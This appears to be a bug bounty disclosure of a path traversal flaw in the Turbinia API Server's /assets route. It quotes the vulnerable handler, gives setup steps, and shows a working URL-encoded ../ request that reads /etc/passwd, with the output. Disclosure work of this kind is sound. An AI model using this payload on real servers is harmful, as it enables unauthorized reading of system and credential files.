Google: Local File Inclusion in Turbinia API Server
Name
Local File Inclusion in Turbinia API Server
Weakness
CWE-22: Path Traversal
Severity
High (8.8)
Description
A local file inclusion is present in the Turbinia API Server when requesting resource files under the /assets/{catchall:path}
route.
Proof of Concept
The route /assets/{catchall:path}
is used for serving CSS and JS resources for Turbinia Web service. The catchall
parameter in url is not sanitized before appended to base path, an attacker can use ../
to escape base directory and locate any file on system which will be sent back to the attacker, causing local file inclusion issue.
@ui_router.get(
'/assets/{catchall:path}', name='assets', include_in_schema=False)
async def serve_assets(request: Request):
"""Serves assets content."""
static_content_path = pathlib.Path(_config.WEBUI_PATH).joinpath('dist/assets')
path = request.path_params['catchall']
file = static_content_path.joinpath(path)
if os.path.exists(file):
return FileResponse(file)
raise HTTPException(status_code=404, detail='Not found')
Steps to reproduce
Following official docker tutorial to set up the Turbinia service:
git clone https://github.com/google/turbinia.git
cd turbinia
mkdir -p ./conf && mkdir -p ./tmp && mkdir -p ./evidence && mkdir -p ./certs && chmod 777 ./conf ./tmp ./evidence ./certs
sed -f docker/local/local-config.sed turbinia/config/turbinia_config_tmpl.py > conf/turbinia.conf
Then, edit the ./docker/local/docker-compose.yml
, in turbinia-api-server
section, expose Turbinia API Server port 8000
to host mechine by adding ports: - "8000:8000"
:
...
turbinia-api-server:
#image: "turbinia-api-server-dev" # Use this for local development and comment out below line
image: "us-docker.pkg.dev/osdfir-registry/turbinia/release/turbinia-api-server:latest" # Latest stable
container_name: turbinia-api-server
depends_on:
- redis
volumes:
- $PWD/evidence:/evidence
- $PWD/conf/turbinia.conf:/etc/turbinia/turbinia.conf
environment:
- LC_ALL=C.UTF-8
- LANG=C.UTF-8
- TURBINIA_EXTRA_ARGS=${TURBINIA_EXTRA_ARGS}
expose:
- "8000"
ports:
- "8000:8000"
...
Finally, bring up the local Turbinia stack:
docker-compose -f ./docker/local/docker-compose.yml up
After service up, the Turbinia API Server will listen on http://127.0.0.1:8000
. Open the webpage http://127.0.0.1:8000
in browser and intecept requests using burp suite or chrome devtools. We can capture following request:
GET http://127.0.0.1:8000/assets/index-a76ac6aa.js HTTP/1.1
Accept: */*
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,ja-JP;q=0.6,ja;q=0.5
Cache-Control: no-cache
Cookie: fakesession=hello
Origin: http://0.0.0.0:8000
Pragma: no-cache
Referer: http://0.0.0.0:8000/web
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Postman-Token: 0ee2337d-af8f-4873-afd8-91a9c27897b1
Host: 127.0.0.1:8000
Accept-Encoding: gzip, deflate
Connection: close
Modify the request by change index-a76ac6aa.js
part to ..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
which is ../../../../../../etc/passwd
url-encoded content.
GET http://127.0.0.1:8000/assets/..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Accept: */*
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,ja-JP;q=0.6,ja;q=0.5
Cache-Control: no-cache
Cookie: fakesession=hello
Origin: http://0.0.0.0:8000
Pragma: no-cache
Referer: http://0.0.0.0:8000/web
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Postman-Token: 0ee2337d-af8f-4873-afd8-91a9c27897b1
Host: 127.0.0.1:8000
Accept-Encoding: gzip, deflate
Connection: close
Or just open link: http://127.0.0.1:8000/assets/..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
in browser.
The output is the contents of the /etc/passwd
file:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
turbinia:x:999:999::/home/turbinia:/sbin/nologin
Impact
Any file on the backend filesystem can be read by an attacker with access to the Turbinia API Server website.
Reference
https://huntr.com/bounties/29ec621a-bd69-4225-ab0f-5bb8a1d10c67